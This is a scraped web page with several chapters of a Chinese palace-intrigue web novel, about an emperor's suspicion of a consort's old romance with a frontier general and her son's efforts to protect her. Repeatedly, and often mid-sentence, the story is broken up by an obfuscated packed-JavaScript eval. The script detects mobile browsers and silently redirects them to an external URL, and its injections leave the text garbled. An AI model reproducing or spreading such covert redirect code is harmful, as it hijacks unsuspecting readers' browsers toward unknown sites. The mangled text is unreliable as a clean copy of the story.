;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586422|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今夜,德丰帝深夜未眠。 看着手中的这份口供,德丰帝的眸中染上几分晦暗难明。 冯有才躬身上前,小声劝说:“陛下,夜深了,龙体要紧,您还是早些歇了吧。” 德丰帝幽幽问,“这份口供,你觉得可不可信?” 白日时,秦中举向德丰帝回禀了此事,冯有才从旁听着,当时脸都吓白了。 赵书宁供述,柔妃娘娘与镇西将军有旧情! 此次镇西将军**,性命垂危,便是柔妃娘娘派人千里迢迢送去了解毒圣药阎罗笑,镇西将军才侥幸转危为安。 今夜德丰帝独坐许久,冯有才很是胆战心惊。 现下被皇上问起,他的心依旧高高提起。 他小心翼翼地回话,“奴才拙见,赵氏为人狡诈,言多诡谲,恐不可信。陛下乾纲独断,莫要听其荧惑圣听。” 他小心翼翼地躬着身,不敢抬头直视圣颜,亦不敢揣摩圣心,只听得手指轻叩桌面的敲击声。 终于,那轻叩声停了。 德丰帝终于起身,“乏了,伺候朕就寝吧。” 冯有才连忙恭声应是。 翌日,德丰帝照旧上朝,面上看不出任何异常。 萧晏辞今日也上了朝,散朝后,他去了御书房向德丰帝请安。 “父皇,您的气色看上去有些不大好,可是昨夜没休息好?” 看来,秦中举上交的那份口供十分要紧。 德丰帝叹息一声,“人老了,精力便总有些不济。” 萧晏辞一脸正色,“父皇春秋鼎盛,哪里老了?” 德丰帝失笑摇头,“就你爱说这些话哄朕。” 父子二人闲话家常,气氛十分和乐。 德丰帝状似随意地道:“朕听说,先前镇西将军中了毒?” 萧晏辞心头微动,面上神色如常。 “没错,他被养子算计,中了青骨枯之毒。此毒十分霸道,幸而发现及时,护住了心脉,才暂时保住性命。” “彼时恰逢儿臣在西平,听说了此事,便自作主张,命人快马加鞭赶回京城向母妃讨要了一颗解毒丹阎罗笑,这才从阎罗王手中抢回一命。” 第341章 卸磨杀驴 德丰帝不过开了个头,萧晏辞就把事情的来龙去脉尽数道来,半点都没隐瞒。 他有一种预感,父皇不会随随便便问起此事。 这或许是一种试探。 他还没弄清楚这其中的关节所在,最保险的做法就是和盘托出,说得越清楚越好。 这些事,自己不说,父皇也有办法查清楚,他的隐瞒毫无意义。 德丰帝疑惑开口,“你母妃竟有这等解毒圣药?朕此前倒是未听她提起过。” 萧晏辞:“父皇好端端的,她跟您提这个做什么?您又用不着,儿臣也是偶然一次听母妃和锦瑟姑姑闲话时才得知的。” 这话说得倒也在理。 德丰帝又问起了谷栖山的身体状况,萧晏辞回答得避重就轻。 “儿臣觉得镇西将军勇猛依旧,儿臣在他手底下没能走过三招。但儿臣不通医理,不知他身上是否留下病灶。” 德丰帝一时没说话。 萧晏辞又顺势问,“父皇,您是担心镇西将军的身体?” 德丰帝长长叹息,“朕的确有此担心。若他倒下了,难保西平边境不会再起波澜。” “您不若给他赐些补药,也能表一表恩泽。” 德丰帝却道:“西平条件艰苦,便是有上佳的补药,怕也不能安养。” 萧晏辞心神微动,隐约猜到了德丰帝的心思。 父皇对谷栖山怕是生了忌惮之心,想把他从西平召回京中。 飞鸟尽,良弓藏,不外乎如此。 萧晏辞心中生出几分担忧,但对此事却万不能表态,只能含混应付了过去。 谈完此事,萧晏辞告退。 他没有去夕颜殿,而是拐道去了御书房东侧的净室。 虽为净室,却装潢豪华,熏香清新好闻,没有半分异味。 萧晏辞在此小候了片刻,果然等到了冯有才。 整个早朝他都伺候在德丰帝身侧,不曾离开半步。 人有三急,萧晏辞特意在此候他,果然没错。 看到一脸笑意的萧晏辞,冯有才一个激灵,险些没憋住。 “冯公公,好巧。” 冯有才呵呵赔笑,心道这位主怕是专门在此等着自己的吧。 他告罪一声便入了净室,待出来时,萧晏辞还在。 冯有才是奴才,自然没有开口撵人的道理,只能恭身随行。 萧晏辞开始旁敲侧击德丰帝为何突然问起谷栖山。 冯有才打哈哈,“皇上挂念旧臣,今日突然想起,自然关怀一二。” 萧晏辞话锋一转,“本王听说昨日秦大人入宫,莫不是西平的**有了新的口供?” 冯有才继续打哈哈,“这等要紧的案情,奴才如何得知?” 萧晏辞笑道:“冯公公随伺父皇左右,无人比你消息更灵通。本王到底亲历了西平之事,对此案后续自然多几分关注,本王不过随口一问,冯公公只当闲话便是。” 冯有才脸上的笑容都僵了,依旧含含糊糊地打太极,半个字都不敢往外透。 萧晏辞见这老狐狸口风这般严,越发笃定那份口供不简单。 实在问不出来,萧晏辞便不再纠缠。 “父皇跟前一刻都离不得你,冯公公自去忙吧。” “奴才告退。” 说完他躬身告退,末了,又状似随意地回头提了一句。 “柔妃娘娘慧心巧思,洞若观火,瑾王殿下凡事多与娘娘商议,或能拨云见日。” 说完,他便快步离去。 萧晏辞听着他的这话,面上露出几分若有所思。 他这话不似无的放矢,莫非另有所指? 萧晏辞心中不禁暗自思量。 抬步往夕颜殿而去,柔妃和叶寒衣都在,柔妃又在调香,兴致勃勃的模样,一旁的叶寒衣则明显有些心不在焉,一见到萧晏辞,她宛若得救,眼睛都亮了三分。 “表兄来了。” 并非她不愿意陪柔妃,实在是她不擅调香,也不喜这些香味。 柔妃笑着招呼他,“阿辞快来,闻闻我这款新调的香料。” 她的香料在锦绣坊一直备受追捧,前段时日,萧晏辞生死未卜,柔妃歇了心思,许久没有研究新方子。 现在,她终于重新打起了精神,整个人都恢复了以往的轻快。 萧晏辞见此,一时倒是不好开口提及旁事,扫了母妃的兴致。 但柔妃心细,很快就察觉了他的心事重重。 “阿辞,可是遇到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591603|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么难事?” 萧晏辞略微犹豫,还是开了口。 “的确有一桩事,是关于镇西将军。” 柔妃闻言,面色微不可查地变了变,一旁的叶寒衣也立马竖起了耳朵,飞快接茬,“镇西将军怎么了?” 萧晏辞将先前德丰帝所说的话简单到来,叶寒衣脱口而出,“皇上这是要卸磨杀驴!” 这话实乃大不敬,叶寒衣自知失言,赶忙捂住了嘴。 萧晏辞和柔妃没有驳斥她,因为她话糙理不糙,事实的确如此。 萧晏辞:“我心中隐约还有其他担忧,但又寻不到根源。” 柔妃忙问是怎么回事,萧晏辞便将事情简单说了说。 “父皇突然问起镇西将军,多半跟赵书宁的口供有关。但儿臣方才向冯有才打探了一番,那老狐狸什么都不肯说。” 只让他来与柔妃商议。 萧晏辞看着自己母妃,她的眉头紧蹙,对此事似也一筹莫展。 叶寒衣想到赵书宁,心中便气恼。 “又是那个祸害,早知她还能掀起风浪来,当初在西平就该把她一刀解决了。” 这就是气话了,赵书宁是重要人证,若当真把她杀了,反倒给自己惹上一身腥。 萧晏辞见她们都没有什么头绪,便出声宽慰。 “兴许是我想多了,此事交给我,你们不必忧虑。” 又道:“儿臣马上就要成亲了,母妃可要把给新媳妇的礼备好。” 听了这话,柔妃这才重新换上了笑脸。 “你放心吧,母妃万不会亏待了知苒。” 萧晏辞没有在夕颜殿久留,他走后,柔妃也没了继续调香的心思。 她想着谷栖山之事,不安的情绪在心头徘徊,久久不散。 她心中莫名冒出一个猜测,皇上该不会是听到了什么传言吧? 这个念头把她吓了一跳,旋即又觉得不可能。 锦瑟也宽慰她,“娘娘莫要多心,您行的端坐的正,便是当真有什么,您也无愧于心。” 柔妃心神这才稍稍安定几分。 她与谷栖山的过往已过了二十多年,自从分开之后,他们再没有见过面,她没有做过任何对不起皇上之事,禁得起查。 第342章 摊开陈年旧事 柔妃这般宽慰着自己,但心中到底多了几分警醒。 她开始犹豫,要不要将自己与谷栖山的这段陈年往事告知萧晏辞。 但这种事如何开口?她实在有些难以启齿。 这日,德丰帝摆驾夕颜殿,柔妃打起精神迎接。 德丰帝年长柔妃许多,他待柔妃总是格外宽和大度,柔妃在宫中也颇得脸面。 二人一起用膳,气氛一如以往。 德丰帝用茶水漱了口,便闲话家常般地开口,“柔妃近日可收到了滇南的家信?滇南王与世子身子可好?” 柔妃面上神色如常,但心神却莫名紧绷了几分。 “前些时日才刚收到来信,父亲和兄长的身子都好。” “滇南王老当益壮,委实令朕心生羡慕啊。” 话锋一转,又问,“对了,朕听说,镇西将军祖籍乃是滇南,不知爱妃先前可识得?” 柔妃的心几乎瞬间提了起来,浑身的弦都绷紧了。 她没有片刻犹豫,语气自如,笑着接话。 “原本妾身还真不记得了,但前些日寒衣从西平回来,告诉妾身,镇西将军的祖父曾在父亲麾下任过军师,妾身这才想起他来。原来我们幼时就见过了,只是妾身全然忘了。” 德丰帝捋须笑道:“镇西将军如此少年英才,柔妃对他竟毫无印象,你这记性,连朕这个糟老头都不如啊。” 柔妃嗔了德丰帝一眼,“他是外男,妾身长在深闺,如何得见?更何况妾身自幼最讨厌舞刀弄棒,打打杀杀的,便是见了也避得远远的,哪里记得住?” 德丰帝闻言,伸手虚虚点她,“你啊,当真是半点都不似将门之女。” 柔妃朝他娇媚一笑,“妾身命好,能入宫侍奉皇上,可比一般的将门之女强多了。” 这话让德丰帝哈哈大笑,殿内气氛更加和煦。 恭送了德丰帝,柔妃脸上的笑意这才慢慢落了下去,脸色也染上几分凝重。 “锦瑟,让寒衣去请阿辞入宫,我要见他。” 先前,是她心存侥幸了。 此等生死攸关之事,她宁愿是自己想多了,也不应姑息侥幸,不然到头来,迎接他们的,只怕是灭顶之灾。 叶寒衣虽不明所以,还是乖乖听话,把萧晏辞请进了宫。 叶寒衣以为姑母要与表兄说些体己话,正要回避,却被姑母拦下了。 “寒衣也一起留下来,我有要紧之事要说,此事或许关涉你我生死,你们必须听好了。” 柔妃的态度前所未有的严肃,二人精神不禁为之一凛。 锦瑟亲自在门外守着,柔妃这才缓缓开口。 “我要说的,是一桩旧事……” 她陷入了回忆,语气怅惘,将前尘往事道来。 她与谷栖山是青梅竹马,两小无猜,以为一眼就能看到彼此的未来,没想到,命运却发生了让他们始料未及的转折。 “为了维护家族安稳,我奉命入宫,就此断了与那人的所有可能。我启程入京,再未相见。这段过往,也一直被深深埋藏心底。” 萧晏辞十分惊讶,他第一次听母妃提及此事。 在此之前,他从未听说半个字。 母妃不可能无缘无故地提起旧事。 莫非…… 叶寒衣对此早有猜测,此时她的心中立马有了答案,“姑母,那人是镇西将军,对吗?” 柔妃轻轻点了点头。 萧晏辞闻言,心中的猜测也得到了应证。 先前他从未往这方面想过,直到方才,心里才有了联想。 难怪冯有才会提点自己那句话,原是有如此用意。 而今看来,此事已然捅到了父皇的跟前,父皇对此也已生了疑心。 帝王的疑心一起,想要修复,难上加难。 父皇不仅会怀疑母妃的忠贞,连带着对他,对滇南叶家也会生出嫌隙,镇西将军更会被趁势**。 此计一箭四雕,不可谓不狠辣,萧晏辞惊出一身冷汗。 叶寒衣也想到了这一层,她的脸色也变得难看。 “姑母,此事会不会是你多想了?” 她不愿意看到事情往最坏的情况发展。 柔妃缓声道:“今日皇上与我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591604|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道用膳,旁敲侧击我与谷栖山的过往,若非我反应快,只怕当场就要露了马脚。他不会无缘无故地提及此事,那必是试探。” 萧晏辞也点头,神色凝重。 “我赞同母妃的猜测,此事必然已经传到了父皇耳中。” 叶寒衣有些焦急,“那,现在该怎么办?” 她对德丰帝还不太了解,不知道他会如何,一时也没了主意。 萧晏辞看向柔妃,“母妃,据你判断,父皇对此事的态度如何?他对您有几成信任?” 柔妃面露几分苦笑,“你父皇喜怒不形于色,我也难以揣摩他的心思。但凭我对他的几分了解,他应当会派人进一步查证此事,在此之前,不会贸然发作。” 这与萧晏辞所想不谋而合。 “母妃,您与镇西将军之事,有多少人知晓?” “宫中就只有锦瑟知晓,她是母妃的心腹,断不会背叛母妃。当初我与他只是互生好感,并未有媒妁之言,除了你外祖和舅舅几人,外人必不会知晓。我入了宫,此事你外祖和舅舅更会遮掩得严严实实,不会往外泄露半分。” 萧晏辞闻言,略略放心几分。 叶寒衣补充,“镇西将军的嘴也很严,他对此事也多有避讳,我当初多问了几句,他都闭口不谈。” 这话让柔妃和萧晏辞都朝她看去。 叶寒衣这才说出自己先前就已经对此事生出猜测,并旁敲侧击地打探过。 柔妃顿时又惊出一身冷汗。 “连你都看出了端倪,那皇上岂不是……” 叶寒衣忙道:“我能看出是因为姑母对我不设防,神情间难免有所流露。您在皇上面前已经有所防备,定然没有破绽的。表兄你是不是半点都没看出来?” 萧晏辞如实点头,“我毫无察觉,便是在西平,与镇西将军相处多时也从未疑心过,他行事很有分寸,没有半句逾矩之言。” 听了这话,柔妃这才稍稍放松几分。 只是她在心中暗暗告诫自己,今后行事必将更加小心,断不能在自己身上出半分纰漏。 第343章 有人想对滇南下手 “阿辞,此事,是母妃连累了你。” 萧晏辞摇头,“您并没有做错什么,谈何连累?母妃千万不要多想。” 柔妃的眸底浮出几分涟漪。 “母妃与人有旧情,你……”不深以为耻吗? 萧晏辞一脸正色,“母妃,您与镇西将军的情谊是在入宫之前,你们青梅竹马,两情相悦,无人可以置喙。儿臣不觉得有什么问题。” “您现在是儿臣的母妃,但您也曾年轻过,也有少女怀春的时候,儿臣没有资格评判您的过往。” 萧晏辞甚至觉得镇西将军比父皇更适合母妃,若当初没有父皇横插一脚,他们二人也不会就此一刀两断,母妃应当也会过得更加快乐。 但这话太过大不孝,也会徒增母妃的伤感,萧晏辞便没有说出口。 柔妃听了他的这番话,眸底不禁浮起一抹水光,心头也泛起一丝酸涩。 她羞于启齿过往之事,一大原因便是担心萧晏辞会用异样的目光看待她,觉得她放浪不忠。 而萧晏辞的态度,让她的担忧全都化为泡影。 她得到了理解,心中的负担终于卸了大半。 叶寒衣也跟着附和,“窈窕淑女,君子好逑,自古如是,您没有做错什么。” 柔妃很快收拾好心情,抛开了所有杂念。 “此事,我们当如何应对?” 萧晏辞沉吟一番,“母妃,此事父皇要查,就让他查,儿臣会作好安排,旁人休想栽赃污蔑到您的头上。” 萧晏辞的语气镇定,柔妃纷乱的心一点点被安抚下去。 叶寒衣忽而道:“姑母,我入京已经有一段时间了,现在差不多也该回去了。” 柔妃心中立马生出不舍,“阿辞成婚在即,你怎能这时离开?” “我想尽快赶回滇南,向祖父和父亲告知此事,让他们作好应对。” 若有人想无中生有,拿此事做文章,他们也能及早应对。 萧晏辞反对,“此事大可派可靠之人前去,你在这个关头匆忙赶回,反而会引起父皇的疑心。” 柔妃也附和,“阿辞所言在理。” 叶寒衣与他们关系亲厚,她已经在京城住了这么长时间,没道理萧晏辞婚期到了反倒急着要走。 帝王多疑,叶寒衣此举,反倒可能弄巧成拙。 叶寒衣听劝,当即打消了念头。 “是我思虑不周。” “你也是急于解决此事,不怪你。” 事情商议完,萧晏辞这才匆忙离开皇宫。 不仅滇南那边要作安排,谷栖山那头,他也要派人提点一番。 谷栖山心思缜密,有了自己的提醒,就更会谨言慎行。 假若他当真被召回京中,也能避免有心人的蓄意构陷。 当夜,萧晏辞再次翻了陆知苒的窗,一回生二回熟,陆知苒已经**以为常,翠芙和丹烟也面不改色,十分自觉地到屋外守着。 萧晏辞将此事告知陆知苒,陆知苒也惊出一身冷汗。 谁人没有过往? 按理说,柔妃入宫前之事,便是皇上也没有立场置喙。 但他是皇上,柔妃是嫔妃,还牵扯到了手握重兵的封疆大吏谷栖山。 此事若被有心人刻意引导和渲染,后果不堪设想。 “幸亏母妃及时反应过来,我们有了防范,必不会叫对方得逞。” 陆知苒心有余悸地点头。 她又想到了另外一点,“殿下,此事若当真出自赵书宁之口,她又是如何得知的?” 萧晏辞神色一顿,先前他竟是没想到这一点。 陆知苒提出推测,“若她在西平之时窥见了端倪,发现了此事,她不可能藏着掖着,到现在才说出来。” 萧晏辞眸光再次动了动,“你是说,有人指点了赵书宁,想借着赵书宁之口捅出此事?” 陆知苒点头。 萧晏辞面露沉吟,母妃与镇西将军的这桩旧事已过了二十多年,所知之人寥寥无几。此事究竟是如何泄露的? 他猜测,多半是因那颗阎罗笑而起。 阎罗笑太过稀有,母妃如何得了此物,有心人顺藤摸瓜一番探查,说不定就窥见了端倪。 “看来,母妃的夕颜殿怕是不干净。” 陆知苒心头却还有更多的猜测。 “滇南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596188|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边,殿下也当多加留意。有蛊虫之事在前,我总觉得,此事没那么简单。” 若是有人想对滇南下手了…… 萧晏辞精神一凛,眸色更添几分幽沉。 “你提醒得对,小心使得万年船。” 二人商议事情,直至深夜,陆知苒小小地打了个哈欠,萧晏辞面露歉然。 “抱歉,我一时忘了时间。” 陆知苒摇头,“敌暗我明,这个关头我们自当更加谨慎,以免落入对方圈套。” 萧晏辞看着她,目光柔和,“幸亏有你,本王能有可以相商之人。” 他的大手握住了她的小手,这一次久久没有松开。 陆知苒感受到自己手心的那抹潮热,心底那丝不自在也一点点慢慢抚平。 几日后,德丰帝下旨,以述职的名义传召谷栖山入京。 眼下年关将近,各地官员的确陆续回京述职,德丰帝的这封诏令看似寻常,但只有少数知晓内情之人,才明白其中暗藏的玄机。 前宣平侯府,现在的楚家已经被抄家,包括楚翊安在内的楚家人两日后就要流放滇南,今年的年关只怕都要在路上过。 此时最后悔的莫过于绿英,她处心积虑爬上了楚翊安的床,怀上了孩子,日日幻想母凭子贵,但一天好日子没过,就迎来了灭顶之灾。 眼下她怀着六个月的身孕,能否活着到滇南府,都两说。 而本该马上问斩的赵书宁和谷兆麟等**犯,则被德丰帝以瑾王即将大婚,不宜见血为由,延至来年开春再行刑。 赵书宁得知这个消息,狠狠松了口气。 如此看来,她先前的供词起作用了,她成功为自己争取到了一丝生机。 萧晏辞给陆知苒送来了这个消息,陆知苒对此并不意外。 明明是一场死局,她都能盘活,说明她命不该绝。 “她逃不掉的,本王不会放过她。” 陆知苒笑了笑,“我反倒开始期待她逃出生天的时候,届时,必然有人与她接头,我们或可顺藤摸瓜,查出幕后之人。” 背后弄鬼的魑魅魍魉究竟是谁,一切终将揭晓。 第344章 无心男女私情 二人说着话,丹烟端着宵夜来了。 几张比脸还大的胡饼被切成小三角,焦黄的芝麻粒裹在面皮上,麦香混着胡麻香窜出来。 馄饨的小碗中,星星点点缀着虾皮,一个个馄饨皮薄得透光,肉馅饱满,猪油香得钻鼻,便是那汤也是那老鸭吊的,只闻着便觉鲜香十足。 除此之外,还有暖胃的杏仁粥,驱寒的姜汤。 分量很足,俨然是连萧晏辞的那份也备上了。 这段时间,萧晏辞隔三差五便翻窗,她和翠芙做贼似的守着门,但有一回还是被高嬷嬷发现了。 当时高嬷嬷的表情很精彩,想骂,又硬生生地忍住了,最后只当她瞎了,什么都没瞧见。 只是第二日,她旁敲侧击地劝诫陆知苒,万不可让殿下胡来,有些事还是需得婚后方可。 陆知苒听得面红耳赤,只能连忙解释二人是商议正事。 在高嬷嬷这里过了明路,大家都松了口气,总算不似先前那番做贼的样子。 这不,宵夜也给备上了。 萧晏辞也不客气,埋头便吃,还很真诚地夸了一番,把丹烟得意得不行。 陆知苒看着坐在自己对面吃东西的男人,莫名生出一种错觉,好似他们已然成婚了,而这不过是他们婚后的普通日子。 陆知苒被自己的想法惊了一跳。 这时她才意识到,萧晏辞在不知不觉间慢慢侵入了她的领地,让她不自觉放松了戒备。 二人的相处,竟似寻常般。 萧晏辞放下筷子,用帕子擦了擦嘴,笑问,“看着本王作甚?莫非本王秀色可餐?” 陆知苒回神,立马埋头,不说话了。 只是,耳尖上染了一抹淡淡的红。 陆知苒放下了筷子,开始下逐客令,“殿下,时候不早,您该走了。” 又补了一句,“高嬷嬷说,我们婚期近了,不可再私下见面,往后殿下莫要再来了。” 一直这般,也不像个样。 萧晏辞自是不在意那些所谓的繁文缛节,但他任意妄为,便是对陆知苒的不尊重,便应了下来。 后来,他人的确没来了,却是隔三差五遣人送了东西来。 今儿个一个**梳,明儿个一个**镜,都是一些小物件,但却花样百出,陆知苒不缺这些东西,但每每收到,唇角还是忍不住微微上翘。 转眼到了十一月,天气慢慢冷了。 今年的冬日不似去年那般寒冷。 去年,朝廷替受灾百姓免费加盖新房,百姓们早早住了进去,便是再冷,也无所惧。 锦绣坊周边早已发展成熟,很是热闹。 当初身无长物的穷苦女子,经过将近一年的学习,都或多或少掌握了一门手艺,便是离开了锦绣坊,也有足够的谋生之力。 时至今日,百姓依旧对太仓商行的善举交口称赞。 蒋南笙安顿好蒋家女眷,便准备启程离京了。 她约了萧宝珠见面,起初萧宝珠还很高兴,欢欢喜喜地去了。 但得知她又要离开,萧宝珠的脸立马就垮了下去,抱着她不撒手。 “一定要走吗?” 蒋南笙语气坚定,“一定要走。” 皇命难违 但此事不能说,便是对萧宝珠也不能说。 “就不能多等等?七皇兄马上成婚了。” 她面露歉意,“事出紧急,的确不宜拖延。我备了贺礼,到时候只能让你代为转交了。” “蒋家的那些人,你放心得下吗?” 蒋南笙语气轻缓,“我已将她们安顿好,把能安排的都为她们安排了,后面的路,她们也应当学会自己走。” 她这次离开,也是为了能成为她们的底气。 只是事情未成之前,蒋南笙不敢断言。 萧宝珠看着蒋南笙,从她的脸上看到了前所未有的决绝。 她决定了的事情,任何人都改变不了。 “那你这次要去哪里?” “去南边,具体的地方,我也说不准。” 萧宝珠又酸溜溜地问,“那你是不是要带那个林铮一起去?” 蒋南笙点了点头。 “阿铮武艺不错,有他陪着我,安全无需担忧。” 萧宝珠哼了一声,“他武功再好也是一个人,后头我给你送几个护卫,他们绝对比那林铮强。” 蒋南笙没有拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596189|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的好意。 她此行有太多未知的风险,没什么比保命重要。 萧宝珠又忍不住问,“阿笙,你与林铮现在是怎么回事?” 蒋南笙面上神色淡淡的,一抹惆怅被她深藏心底,“我现在无暇考虑儿女私情。” 当初,在西平之时,她便与林铮谈过此事。 她告诉林铮,她无心婚嫁,日后,她会立女户。 他若是想离开,随时可以。 但林铮没有走。 他说:“我无处可去,请阿蘅可怜可怜我,给我一个糊口的差事。” 他便这么留了下来。 他很有分寸,从那日起便自觉地拉开了彼此的距离,只当自己是蒋南笙的护卫。 此次前去滇南,蒋南笙也告知了林铮其中危险与利害,他若要走,蒋南笙亦不会阻拦。 林铮依旧选择了留下。 彼时,他有些负气地看着蒋南笙。 “是我哪里做得不好吗?你一再撵我走?” 他周身都充满了幽怨与受伤,让蒋南笙觉得自己似个冷心冷肺的负心汉。 最后,蒋南笙只得软了声音,对他作出保证。 “今后我都不会撵你了。” 林铮脸上这才重新露出笑来。 萧宝珠听了她的话,微松了口气。 “你能保持头脑清醒就好,可千万不要被臭男人哄骗了去。” 蒋南笙失笑,“我自己便做了十几年男人,岂会这般容易受哄骗?反倒是你,该选驸马了吧?你可有中意之人?” 萧宝珠的脑中飞快地闪过一个人,很快掩饰了过去。 “没有。” 蒋南笙没有错过她那瞬间的失神。 “当真没有?” 萧宝珠义正言辞,“没有。” 她语气坚定,一副恨不得举手发誓的模样,落在蒋南笙的眼里,反倒像是欲盖弥彰。 她笑而不语,也没有刨根究底,只道:“若当真相中了人,让阿辞给你参谋参谋,好好把把关。女子嫁人之事非同小可,不可大意。” 萧宝珠又不死心地道:“我信不过七皇兄,你留下给我参谋吧,你眼睛毒,给我选的人定然是好的。” 第345章 孙牧之的心思 蒋南笙笑看着她,“我倒是的确看好一个人,孙牧之怎么样?” 萧宝珠瞬间瞪大了眼睛。 对上蒋南笙那含笑的目光,萧宝珠觉得自己隐匿的心思似被戳破了,脸刷地一下红透了。 “你,他,我……” 她好半天卡壳,说不出话来。 蒋南笙看她这副模样,瞬间了然了。 看来,宝珠对他也是动了心思的。 “你,你怎会提到他?” “我随口说的。” ——自然不是随口瞎说,早在以前,蒋南笙就隐约窥见了孙牧之的心思,只是她没戳破。 萧宝珠完全没开那方面的窍,她也不看好二人,便没有多嘴。 这次,她与孙牧之在西平有了短暂照面,起初他对自己有隐约的敌意,后来,得知她是女儿身,他的敌意就消失了。 而后,蒋南笙又得知孙牧之两次救了萧宝珠,她就更加深了原本的猜测,孙牧之对萧宝珠不一般。 只是她并不知萧宝珠对他是否有意,方才不过随口试探,没成想,还真叫她试探出结果来了。 蒋南笙正了神色,“宝珠,你是否对他有意?” 萧宝珠的脸依旧红着,她死不承认,“你瞎说什么,没有的事。” 她顶多就是觉得孙牧之长得还行,看上去顺眼而已。 “真的吗?”蒋南笙语气略显遗憾,拖长了音调,“这么看来,他的心思要错付了。不过他只是孙家的养子,身份上与你的确不匹配。” 萧宝珠忙道:“等等,你方才说什么?” 蒋南笙:“我说他是孙家养子,配不上你。” “不是,不是这个。” 蒋南笙见她那副心急的样子,总算没有再逗她,“我说,他对你的心思要错付了。” 萧宝珠的心头砰砰猛跳了几下,“你这话是什么意思?” 蒋南笙轻点了一记她的脑门,“傻宝珠,他对你早就生了心思,你该不会半点都没察觉吧?” “这,这怎么可能?” “究竟可不可能,你去问问他自然就知晓了。” 萧宝珠被这话堵住了。 让她去问?她如何开得了口?若事实并非如此,她岂不是丢脸丢大发了。 蒋南笙又好心道:“我还有两日才启程,你若不好意思,我可以替你去打探一番。” 萧宝珠立马阻止,“不要。我,我自己会处理。” 经过先前孙景轩之事,父皇准许她自己择婿,主动权掌握在自己手里,凡事也都有了余力。 蒋南笙觉得,孙牧之不失为一个良配。 她稍加提点一番,算是让这丫头开一开窍。 之后要如何抉择,就看她自己了。 就算不选孙牧之,京中也多的是优秀的儿郎。 萧宝珠的心思被彻底搅乱了,原本对蒋南笙的不舍心情被搅得七零八落。 辞别了蒋南笙,萧宝珠没有回皇宫,鬼使神差地往金水河巷而去。 离京之前,孙牧之想法子促成了孙家分家之事,眼下,他们三房便住在金水河巷。 自从搬离了孙家,甄氏的气色明显好多了。 无需看人眼色过活,又有雪团相伴,身边的丫鬟婆子也都是忠心耿耿的心腹,她的日子自然过得舒坦。 孙牧之在西平一战中斩杀了羌笛三皇子,又与萧晏辞一道入断云山采赤影藤,并将药材顺利护送回城,立下功劳,德丰帝将其擢为正四品羽林郎将,赏金百两。 这个消息,让甄氏的心情更加愉悦,身子骨肉眼可见地好了不少。 孙家的妯娌白氏破天荒地登门做客,以往她在甄氏面前总是一副高傲姿态,而今倒是开始伏低做小起来,言语间对甄氏颇为奉承,对孙牧之更带着浓浓的讨好之意。 甄氏不是刻薄性子,即便以往多有龃龉,而今旁人对她笑脸相迎,她也做不到冷脸相待。 反倒是雪团,趴在甄氏脚边,朝白氏汪汪叫了几声,那表情奶凶奶凶的。 白氏见她态度如常,便得寸进尺,开始试探孙牧之的亲事。 甄氏听到这口风,原本尚算和煦的面色瞬间淡了下去。 “阿牧的亲事我已在相看,就不劳二嫂操心了。” 白氏似没听出甄氏的冷淡,继续没脸没皮地道:“我娘家有一个侄女,今年十三,生得花容月貌,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 